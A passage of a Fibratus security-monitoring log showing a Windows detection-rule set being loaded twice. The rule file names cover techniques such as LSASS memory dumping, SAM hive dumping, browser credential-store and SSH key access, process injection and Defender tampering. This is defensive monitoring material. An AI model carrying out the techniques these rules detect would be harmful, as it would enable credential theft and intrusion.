fastscan=>true scan-timeout=>10s skip-registry=>false skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-12T17:23:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-12T17:23:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-12T17:23:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-12T17:23:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-12T17:23:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-12T17:29:21+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-12T17:29:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-12T17:29:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:29:30+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-12T17:29:30+01:00 level=info msg=bootstrapping with pid 6944. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-12T17:29:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false to=>[] content-type=>text/html port=>25 use-template=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... 